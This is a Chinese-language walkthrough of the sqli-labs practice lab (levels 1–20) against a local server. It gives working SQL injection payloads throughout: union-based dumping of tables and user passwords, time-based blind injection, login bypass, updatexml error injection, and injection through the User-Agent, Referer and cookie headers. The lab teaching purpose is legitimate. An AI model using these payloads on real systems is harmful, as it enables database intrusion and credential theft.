sqli-labs闯关

less-01:

less-08:

less-11:

less-18:

less-19:

less-20:


Sqli-labs项目地址—Github

使用HackBar插件

less-01:


Sqli-labs前20关均为数字型注入

Sqli-labs前四关较为类似以less-01为模板

将网址导入HackBar中:

sqli-labs闯关_第1张图片

1.根据提示,输入http://127.0.0.1/sqli/Less-1/?id=1'查看注入:

sqli-labs闯关_第2张图片

正常报错,输入--+进行注释:

sqli-labs闯关_第3张图片

2.输入http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+查找:

sqli-labs闯关_第4张图片

出现用户名和密码。

继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:

出现报错,说明数据库只有三列

3.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

来判断三列数据的回显点,用1,2,3来标记:

sqli-labs闯关_第5张图片

4.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:

sqli-labs闯关_第6张图片

5.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+查看位于security库下的第一个表:

sqli-labs闯关_第7张图片

limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。(security库中)

通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:

concat()函数用于将多个字符串连接成一个字符串。

语法及使用特点: concat(str1,str2,…)

group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

6.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+查看库中所有的表:

sqli-labs闯关_第8张图片

7.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+查看user表中的第一个列:

sqli-labs闯关_第9张图片

同上运用函数可输出所有的列:

sqli-labs闯关_第10张图片

8.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+查看一个账号和密码以“~”隔开

sqli-labs闯关_第11张图片

concat_ws()函数指定参数之间的分隔符

使用语法为:concat_ws(separator,str1,str2,…)

结合函数可得到所有账号和密码:

sqli-labs闯关_第12张图片

less-08:


输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+

sqli-labs闯关_第13张图片

判断这里出现注入漏洞‘

此关盲注有两种方法:

(1)布尔盲注:

与第五关完全相同。

(2)时间盲注:

IF(condition,A,B)

如果条件condition为true,则执行语句A,否则执行B

输入 http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database()) = 8,1,sleep(5))--+

sqli-labs闯关_第14张图片

即当数据库长度为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)。

也有 http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

通过时间盲注的方式,可以用盲注的流程得到数据。
 

第十一关开始都为POST传输方式:

可在主页直接填写进行POST传输,也可使用HarkBar的POST传输方式:

less-11:

sqli-labs闯关_第15张图片
POST传输方式

这是正确的登录界面:

sqli-labs闯关_第16张图片

在username中填写',出现报错可知存在注入漏洞。

sqli-labs闯关_第17张图片

在username中填写 admin' or 1=1#

(此处不能使用--+,因为--+主要使用在url中,#是通用的)

或uname=a' or 1=1 #& passwd=a &submit=Submit

sqli-labs闯关_第18张图片

登录成功,可以验证存在注入漏洞.

也可在password位置进行验证:uname=a&passwd=a' or 1=1# &submit=Submit

sqli-labs闯关_第19张图片

一样可以成功登录。

使用uname=a' order by 2#&passwd=a &submit=Submit

或用 uname=a&passwd=a' order by 2# &submit=Submit

sqli-labs闯关_第20张图片

可判断有两列。

使用uname=a&passwd=a' union select 1,database() # &submit=Submit 或用uname=a' union select 1,database() # &passwd=a&submit=Submit

sqli-labs闯关_第21张图片

可查询到当前数据库信息。

剩下的原理与前五关相同:

使用uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit 可以查询到当前的第一个数据库, 或用:uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit 可以得到所有的数据库。

sqli-labs闯关_第22张图片

uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit 可以得到security数据库中的所有的表信息.

sqli-labs闯关_第23张图片

uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit 通过users表获得里面值

sqli-labs闯关_第24张图片

uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users # &passwd=a&submit=Submit 此时就可以得到里面所有的数据。

sqli-labs闯关_第25张图片

less-17:
•使用了get_magic_quotes_gpc , name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义

•首先我们要知道用户的名字是多少,然后才可以进行接下来的操作

这里用updatexml()报错注入

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

而我们的注入语句为:

select updatexml(1,concat(0x7e,()),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出结果

输入 uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit

可以得到security库下面的其中一个表名字,也可改变参数或取其他表。

输入uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit

同样的方法可以获得其他的数据

注意:
十七关可以改密码,改动会保存在数据库中。

less-18:


Harder注入.

登录失败显示ip地址:

sqli-labs闯关_第26张图片

登录成功显示ip地址和User-Agent:

sqli-labs闯关_第27张图片

经测试用户名和密码处有转义无法进行注入,需用burpsuite进行抓包,进行Harder注入.

先进行抓包:

sqli-labs闯关_第28张图片

将' or updatexml(1,concat(0x7e,(database())),1), '','')# 填入User-Agent中进行注入

sqli-labs闯关_第29张图片

可知道当前库。

同样输入' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#

sqli-labs闯关_第30张图片

获取库名。

输入' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')#

sqli-labs闯关_第31张图片

获取表名。

输入' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#

sqli-labs闯关_第32张图片

获取列名。

输入' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#

sqli-labs闯关_第33张图片

获取字段吗名等。

less-19:


登陆成功会显示Referer信息:

sqli-labs闯关_第34张图片

登陆失败不显示任何信息:

sqli-labs闯关_第35张图片

此关除此之外与十八关无任何区别。

less-20:


登录成功:

sqli-labs闯关_第36张图片

本关将username放在了cookie里,可在cookie里进行注入。

使用burpsuite进行抓包:

sqli-labs闯关_第37张图片

可见username在cookie里。

在cookie里输入' union select 1,2,database()#

sqli-labs闯关_第38张图片

接下来就是在cookie里进行简单的注入像前五关。

你可能感兴趣的:(数据库,sql,oracle,网络安全)